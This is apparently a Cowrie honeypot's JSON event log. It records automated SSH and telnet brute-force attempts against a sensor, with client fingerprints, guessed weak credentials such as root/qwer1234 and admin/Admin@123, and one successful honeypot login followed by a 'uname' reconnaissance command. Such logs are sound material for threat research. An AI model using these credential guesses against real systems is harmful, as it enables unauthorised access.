{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:18.798785Z","src_ip":"47.86.95.62","session":"0a460be83407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.4","message":"Connection lost after 20.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:21.786603Z","src_ip":"47.86.95.62","session":"0a460be83407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51562,"dst_ip":"10.17.0.5","dst_port":22,"session":"01d7775a60bd","protocol":"ssh","message":"New connection: 47.86.95.62:51562 (10.17.0.5:22) [session: 01d7775a60bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:26.101035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:26.105825Z","src_ip":"47.86.95.62","session":"01d7775a60bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:26.310087Z","src_ip":"47.86.95.62","session":"01d7775a60bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:26.950264Z","src_ip":"47.86.95.62","session":"01d7775a60bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:28.160626Z","src_ip":"47.86.95.62","session":"01d7775a60bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59960,"dst_ip":"10.17.0.5","dst_port":22,"session":"f41e77a783c2","protocol":"ssh","message":"New connection: 47.86.95.62:59960 (10.17.0.5:22) [session: f41e77a783c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:30.989329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:30.995011Z","src_ip":"47.86.95.62","session":"f41e77a783c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:31.198913Z","src_ip":"47.86.95.62","session":"f41e77a783c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:31.821390Z","src_ip":"47.86.95.62","session":"f41e77a783c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:33.027941Z","src_ip":"47.86.95.62","session":"f41e77a783c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59962,"dst_ip":"10.17.0.5","dst_port":22,"session":"42711cdeedbf","protocol":"ssh","message":"New connection: 47.86.95.62:59962 (10.17.0.5:22) [session: 42711cdeedbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:35.627982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:35.633226Z","src_ip":"47.86.95.62","session":"42711cdeedbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:35.840943Z","src_ip":"47.86.95.62","session":"42711cdeedbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00132036209106,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:36.314607Z","src_ip":"187.222.242.146","session":"b99685c0143e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:36.465090Z","src_ip":"47.86.95.62","session":"42711cdeedbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0012834072113,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:37.613587Z","src_ip":"187.222.242.146","session":"6e2e25e9633e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00375199317932,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:40.190665Z","src_ip":"187.222.242.146","session":"42d4af670f88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:49.740272Z","src_ip":"47.86.95.62","session":"42711cdeedbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":47666,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d500e080083","protocol":"telnet","message":"New connection: 187.222.242.146:47666 (159.203.135.109:23) [session: 7d500e080083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:55.558682Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":47668,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f8010e67cd","protocol":"telnet","message":"New connection: 187.222.242.146:47668 (159.203.135.109:23) [session: 91f8010e67cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:55.562818Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":47682,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa736f852084","protocol":"telnet","message":"New connection: 187.222.242.146:47682 (159.203.135.109:23) [session: aa736f852084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:55.566220Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":47958,"dst_ip":"159.203.135.109","dst_port":23,"session":"595980a2909b","protocol":"telnet","message":"New connection: 187.222.242.146:47958 (159.203.135.109:23) [session: 595980a2909b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:43:56.487088Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37616,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c7eeef6c40f","protocol":"ssh","message":"New connection: 47.86.95.62:37616 (10.17.0.5:22) [session: 0c7eeef6c40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:20.768606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:22.187123Z","src_ip":"47.86.95.62","session":"0c7eeef6c40f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:22.191850Z","src_ip":"47.86.95.62","session":"0c7eeef6c40f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:25.347636Z","src_ip":"47.86.95.62","session":"0c7eeef6c40f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:26.197412Z","src_ip":"47.86.95.62","session":"0c7eeef6c40f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:26.200453Z","src_ip":"47.86.95.62","session":"0c7eeef6c40f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:26.628702Z","src_ip":"47.86.95.62","session":"0c7eeef6c40f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:26.633554Z","src_ip":"47.86.95.62","session":"0c7eeef6c40f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.117.209.44","src_port":59309,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf77311584b","protocol":"telnet","message":"New connection: 46.117.209.44:59309 (10.17.0.5:23) [session: fdf77311584b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:26.972625Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41110,"dst_ip":"10.17.0.5","dst_port":22,"session":"907ed4fa289b","protocol":"ssh","message":"New connection: 47.86.95.62:41110 (10.17.0.5:22) [session: 907ed4fa289b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:30.278746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:30.329157Z","src_ip":"47.86.95.62","session":"907ed4fa289b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:30.482664Z","src_ip":"47.86.95.62","session":"907ed4fa289b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:31.270723Z","src_ip":"47.86.95.62","session":"907ed4fa289b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:32.509951Z","src_ip":"47.86.95.62","session":"907ed4fa289b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37352,"dst_ip":"10.17.0.5","dst_port":22,"session":"45d79780e117","protocol":"ssh","message":"New connection: 47.86.95.62:37352 (10.17.0.5:22) [session: 45d79780e117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:36.619091Z"}
{"eventid":"cowrie.session.closed","duration":13.334498882293701,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:40.307053Z","src_ip":"46.117.209.44","session":"fdf77311584b","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:44.078689Z","src_ip":"47.86.95.62","session":"45d79780e117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:44.085175Z","src_ip":"47.86.95.62","session":"45d79780e117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:54.102058Z","src_ip":"47.86.95.62","session":"45d79780e117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.2","message":"Connection lost after 19.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:44:55.801099Z","src_ip":"47.86.95.62","session":"45d79780e117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40906,"dst_ip":"10.17.0.5","dst_port":22,"session":"db98c502f9f3","protocol":"ssh","message":"New connection: 47.86.95.62:40906 (10.17.0.5:22) [session: db98c502f9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:04.113001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:04.118002Z","src_ip":"47.86.95.62","session":"db98c502f9f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:04.335238Z","src_ip":"47.86.95.62","session":"db98c502f9f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:05.478678Z","src_ip":"47.86.95.62","session":"db98c502f9f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:06.700780Z","src_ip":"47.86.95.62","session":"db98c502f9f3","protocol":"ssh"}
